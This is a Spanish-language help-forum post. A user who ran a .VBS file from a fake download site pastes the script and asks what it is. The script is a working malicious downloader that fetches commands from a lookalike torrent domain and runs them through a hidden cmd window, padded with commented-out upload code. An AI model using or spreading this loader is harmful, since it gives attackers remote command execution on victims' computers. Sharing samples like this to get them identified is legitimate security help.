Archivo Ejecutabe VBS

Hola, buen dia, no conozco muy bien el foro pero habia encontrado algu referente en el, resulta que me he bajado un programa de una web falsa (que se hacia pasar por la real) y el archivo ejecutable que he clikeado sin revisar era en formato archivo.VBS y contenia lo siguiente:

"
dim Net
urllmguph = "http://www.mejortorrentt.org/img/as/lmguph"
'MsgBox Right(Mystring, Len(Mystring) - 1)
Set Net = CreateObject("Winhttp.WinhttpRequest.5.1")
'Set applmguph
' Refer to cell lmguph on the sheet named 'Data'
'With CreateObject("ADODB.Stream")
' .Mode = 3
' .Charset = "Windows-1252"
' .Open
' .Type = 2
' .WriteText "--" & strBoundary & vbCrLf
' .WriteText "Content-Disposition: form-data; name=""upload_file""; filename=""" & strFile & """" & vbCrLf
' .WriteText "Content-Type: """ & strContentType & """" & vbCrLf & vbCrLf
'.Position = 0
'.Type = 1
Net.Open "GET", urllmguph, False
'.Position = .Size
' .Write bytData
' .Position = 0
' .Type = 2
' .Position = .Size
' .WriteText vbCrLf & "--" & strBoundary & "--"
' .Position = 0
' .Type = 1
' bytPayLoad = .Read
' End With

Net.Send
'Set applmguph
Set applmguph = CreateObject("Shell.Application")
applmguph.ShellExecute "c:\windows\system32\cmd",Net.responseText & Wscript.ScriptName,lmguph,"",0
"

¿Alguna idea de que pueda ser y que deberia hacer?
 
Arriba